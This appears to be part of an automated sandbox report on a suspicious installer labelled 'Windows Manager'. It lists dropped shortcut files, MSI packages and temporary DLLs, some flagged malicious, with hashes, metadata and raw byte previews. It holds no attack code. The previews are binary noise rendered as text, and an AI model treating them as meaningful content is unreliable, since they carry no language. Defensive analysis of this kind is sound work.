SHA-256:	4177989F2BC8C359B1F7774F2CAB70CB65DB9E569E975869A53F76FB109D75AA
SHA-512:	E9E487C6031AB1AB18DA04302FB53DF59140BF03D3DA082665337A7D628F9D37A3EF3530E359E83A7DB47755BDF79E09AC48AFF346C01380F7990BC838CA0125
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:33:21 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9720408453508687
Encrypted:	false
SSDEEP:	48:8L2dkOTEKzRdHKidAKZdA19ehwiZUklqehRdy+3:8LFOI6Rqwdy
MD5:	8AF3D4B83E4D7F7FBF3D0DCBE6B41D3D
SHA1:	EA25254F27853DDD285E42BF0929BBF7AAF1C1F7
SHA-256:	A0116F77B9DCF600C377717C1E5689BA8225DEE3814F0BFFC749C65A599A4764
SHA-512:	C808C168327A39F0B1508B5297C4E0B46C1BF995B8E0096DFD69DB839F2D8E69E10E3E1685D81FF6C1DE9FA0BB5C40231D51A3C2DB07673346F1187B72045079
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......{.H(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W+l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:33:20 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9870756160367877
Encrypted:	false
SSDEEP:	48:8j2dkOTEKzRdHKidAKZdA1weh/iZUkAQkqehgdy+2:8jFOI6Rg9Q/dy
MD5:	FBF15875F5DB498D7BEFA707EB2A4DFC
SHA1:	543ADDB0BD52050D4F94A280F7208EA450B1444E
SHA-256:	63B6A276831A16584E9DE372762B03F3179D93E47D4FB362D9F62B727D580B3D
SHA-512:	CFBD300D6C668E6CDB2C0638736C85A6ED821D2D3436389F097465BC06E9061290BD24068EC89C7B10D15263B3BF33952C4A7F74328A9BE672DC99C1F5D59BF3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......q.H(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W+l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.998487762690777
Encrypted:	false
SSDEEP:	48:8xf2dkOTEKzRsHKidAKZdA14tseh7sFiZUkmgqeh7sGdy+BX:8xfFOI6RLncdy
MD5:	AF58622F51380EA765D99AAFF986539F
SHA1:	C80A0F2EA324ACAD11025D8A95BAC335EB4F2AC3
SHA-256:	3A1C197F11480437EAFCC930C8C74276EDEB86EB340A1DA34D64D3E45022734C
SHA-512:	2D09876284EF6A93B9E701266AC1646D45589F4F3767D5E8300D44722A1DA057A1926191BF35835B52C7304DEF260ED4C18BC0CF9EEB80D8D38CF23814570AC1
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:33:20 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9817912290467445
Encrypted:	false
SSDEEP:	48:8w2dkOTEKzRdHKidAKZdA1vehDiZUkwqehEdy+R:8wFOI6Rrudy
MD5:	86412C9218D42ECA9B7A349FC622DE41
SHA1:	97B37C99E82EAD487C59F9140E681E019305DB6A
SHA-256:	B85BD1279EE5A201DF41F6416CBE8E18A60BE15D85FC779893251E4C15BBE1E3
SHA-512:	F265035BCEF959D6EBBD684F187F211B6DED31EC3C18F00E5A4E8CDD1DB3EDEF62F543D1D3AABD68F38371B2F98983C018FE9297113F3B1AB8AEDF934B525317
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....gKl.H(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W+l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:33:21 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9726810581944174
Encrypted:	false
SSDEEP:	48:8v2dkOTEKzRdHKidAKZdA1hehBiZUk1W1qehCdy+C:8vFOI6Rr9idy
MD5:	DEE00A2625AFA1D5DC8340F6E5C78C8F
SHA1:	1894B8A6E00F3307086FC0E5BAA90396A25347EF
SHA-256:	BA3267FC574B2FFAFB081AEDA6F1DBAC70722DF33EE0C0F3856A0964E9B7101A
SHA-512:	59997949AD639DC128CEE693F3F2B0A3A17785D844982F77815A04A6605D0581961C29A7BC89B9E9D316BB11AA45F14341DBF9F76A9D495928E0A92EF45464E9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....y.v.H(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W+l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:33:20 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.984032198519536
Encrypted:	false
SSDEEP:	48:8P2dkOTEKzRdHKidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbcdy+yT+:8PFOI6RLT/TbxWOvTbcdy7T
MD5:	47641D1FFB4F6576E6264C9E788247F7
SHA1:	6D54A5E10CACCC26121F27028E0D38757CC2FCF8
SHA-256:	601C609A6F3E667E1F8029E9DE593632C7A74FDC37B99E3D36DAE123D0B7A763
SHA-512:	C02791F620C6AC27EC27354A5F4A98BD03C8203941840722EC04830DBEF19CC19D9F354DAABF817753FB133DEED73E8FC9B851AF7349071D87C4A84EBC3BD534
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....Y.b.H(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W)l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W)l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W)l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W)l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W+l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R..d.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Installer\680af2.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}, Number of Words: 0, Subject: Windows Manager, Author: AW Manager, Name of Creating Application: Windows Manager, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Manager., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3986432
Entropy (8bit):	6.570721162159989
Encrypted:	false
SSDEEP:	49152:7BAYNADU8HZ3nqmAc4RQ8BtDAoB4aNXVW+hv+Ahi8RhZ2i/NToL5ZHd9ZP9Z9Lzq:WYNAD0tDrPhhoL/+e4UpzjM
MD5:	6024D8C2207FC4610416BEAF8D360527
SHA1:	793AB731B07BF86ECC3BA78E1B76DC2AA0B48F8A
SHA-256:	CB4CAD56EA5391E44DC661513C4F021C5272DB710CC1733251152D1CB0EB5829
SHA-512:	0BB9CD1EC8873137E654A94C21887B7D4C73A9E561563D52DDEC18377552D1A33D256487362BB614EBB3D804047427977B3EB0070C92FC43D0DD656AF13EEAB4
Malicious:	false
Reputation:	unknown
Preview:	......................>...................=...................................T.......\|.......E...F...G...H...I...J...K...L...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t........................................... ...!.......................................................;...<...=...>...?...@.......................................................................................................................................................................................................................o...............)...@........................................................................................... ...!..."...#...$...%...&...'...(...6...*...7...,...-......./...0...1...2...3...4...5.......8...>...9...:...;...<...=...A...?...H...K...B...C...D...E...F...G...S...I...J.......L...M...N...O...P...Q...R...:...........V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\680af5.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}, Number of Words: 0, Subject: Windows Manager, Author: AW Manager, Name of Creating Application: Windows Manager, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Manager., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3986432
Entropy (8bit):	6.570721162159989
Encrypted:	false
SSDEEP:	49152:7BAYNADU8HZ3nqmAc4RQ8BtDAoB4aNXVW+hv+Ahi8RhZ2i/NToL5ZHd9ZP9Z9Lzq:WYNAD0tDrPhhoL/+e4UpzjM
MD5:	6024D8C2207FC4610416BEAF8D360527
SHA1:	793AB731B07BF86ECC3BA78E1B76DC2AA0B48F8A
SHA-256:	CB4CAD56EA5391E44DC661513C4F021C5272DB710CC1733251152D1CB0EB5829
SHA-512:	0BB9CD1EC8873137E654A94C21887B7D4C73A9E561563D52DDEC18377552D1A33D256487362BB614EBB3D804047427977B3EB0070C92FC43D0DD656AF13EEAB4
Malicious:	false
Reputation:	unknown
Preview:	......................>...................=...................................T.......\|.......E...F...G...H...I...J...K...L...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t........................................... ...!.......................................................;...<...=...>...?...@.......................................................................................................................................................................................................................o...............)...@........................................................................................... ...!..."...#...$...%...&...'...(...6...*...7...,...-......./...0...1...2...3...4...5.......8...>...9...:...;...<...=...A...?...H...K...B...C...D...E...F...G...S...I...J.......L...M...N...O...P...Q...R...:...........V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\680af6.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {F5D6D741-5AB0-4858-81E2-26A50610DFFA}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Advanced Installer 18.1.1 build 4b2255d8, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3494400
Entropy (8bit):	6.511621623392889
Encrypted:	false
SSDEEP:	98304:HYVAUtulbxKO1fTZ+RBIhtkuG09DyGUB9keVJ:hxfTZ+scrGUB
MD5:	9FC8CC919F8719F753EFF0EBD661523D
SHA1:	8B5007329F03E546D718B17A81AD3AE652DFF103
SHA-256:	4B31415F1494ED54BA885B005340ADBBA2E13848836368ACFCEF5E46B888D9AC
SHA-512:	EFB3C9E5B8CB5A03A4254125202C7E609D3E5680FD81CE9E715140D9F41F87A4A6C975824EDFE4B9A255B9218E33673261998C60DE22720DB3D135A1123F730A
Malicious:	false
Reputation:	unknown
Preview:	......................>...................6...........................................................................................\|...}...~.......................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...x.......{...........................................................................................................................................................................................................................................l...............)...>........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...?...=...G...J...@...A...B...C...D...E...F...Q...H...I...P...K...L...M...N...O...S...Q...R...k...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j.......m...~...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\680afb.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {F5D6D741-5AB0-4858-81E2-26A50610DFFA}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Advanced Installer 18.1.1 build 4b2255d8, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3494400
Entropy (8bit):	6.511621623392889
Encrypted:	false
SSDEEP:	98304:HYVAUtulbxKO1fTZ+RBIhtkuG09DyGUB9keVJ:hxfTZ+scrGUB
MD5:	9FC8CC919F8719F753EFF0EBD661523D
SHA1:	8B5007329F03E546D718B17A81AD3AE652DFF103
SHA-256:	4B31415F1494ED54BA885B005340ADBBA2E13848836368ACFCEF5E46B888D9AC
SHA-512:	EFB3C9E5B8CB5A03A4254125202C7E609D3E5680FD81CE9E715140D9F41F87A4A6C975824EDFE4B9A255B9218E33673261998C60DE22720DB3D135A1123F730A
Malicious:	false
Reputation:	unknown
Preview:	......................>...................6...........................................................................................\|...}...~.......................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...x.......{...........................................................................................................................................................................................................................................l...............)...>........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...?...=...G...J...@...A...B...C...D...E...F...Q...H...I...P...K...L...M...N...O...S...Q...R...k...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j.......m...~...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\680b00.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {BF7EE51F-4DE9-4BDC-9A63-5AFDBF8C954B}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Windows Installer, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3910144
Entropy (8bit):	6.573835059608444
Encrypted:	false
SSDEEP:	49152:lkbY5AMAc4RQ8BtDAoB4aNXVW+hv+AhiJRhZ2iwcUcyPEU8HZ3nq+NToL5ZHd9Zi:8Y5AXtDrmZUyxhoL9+e4Upz
MD5:	3A26913038116713313BCF96C8852398
SHA1:	D9A604BABB4A6B4FB4198FA717E0AB58CD0027A5
SHA-256:	9920FCC0B7ED4843443A1869FDD9DE961AC91441BBB047BDCEFAF9EFC5916093
SHA-512:	829D6490DEC7A653A3DC2E8CD790B66A54CB5C7EE766AD77E6E00858ED018DC31F0887D5436ECCB58F6E4BB7951E5B428D827AB0EA9C9959EECF92B2B7EA8E47
Malicious:	false
Reputation:	unknown
Preview:	......................>...................<...................................T.......\|.......C...D...E...F...G...H...I...J...K...L...M...N...O...P...v...w...x.......................6...7...8...9...:...;...<...=...W...X...Y...Z...[...\...]...^..._...`...C...D...E...F...G...H...I...J...K...L...M...N...........i...................................................................................................................................................................................................................n...............)...?........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...@...=...>...H...K...A...B...C...D...E...F...G...S...I...J...V...L...M...N...O...P...Q...R.......{.......V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\680b06.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {BF7EE51F-4DE9-4BDC-9A63-5AFDBF8C954B}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Windows Installer, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3910144
Entropy (8bit):	6.573835059608444
Encrypted:	false
SSDEEP:	49152:lkbY5AMAc4RQ8BtDAoB4aNXVW+hv+AhiJRhZ2iwcUcyPEU8HZ3nq+NToL5ZHd9Zi:8Y5AXtDrmZUyxhoL9+e4Upz
MD5:	3A26913038116713313BCF96C8852398
SHA1:	D9A604BABB4A6B4FB4198FA717E0AB58CD0027A5
SHA-256:	9920FCC0B7ED4843443A1869FDD9DE961AC91441BBB047BDCEFAF9EFC5916093
SHA-512:	829D6490DEC7A653A3DC2E8CD790B66A54CB5C7EE766AD77E6E00858ED018DC31F0887D5436ECCB58F6E4BB7951E5B428D827AB0EA9C9959EECF92B2B7EA8E47
Malicious:	false
Reputation:	unknown
Preview:	......................>...................<...................................T.......\|.......C...D...E...F...G...H...I...J...K...L...M...N...O...P...v...w...x.......................6...7...8...9...:...;...<...=...W...X...Y...Z...[...\...]...^..._...`...C...D...E...F...G...H...I...J...K...L...M...N...........i...................................................................................................................................................................................................................n...............)...?........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...@...=...>...H...K...A...B...C...D...E...F...G...S...I...J...V...L...M...N...O...P...Q...R.......{.......V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI10B0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI11F9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI1239.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
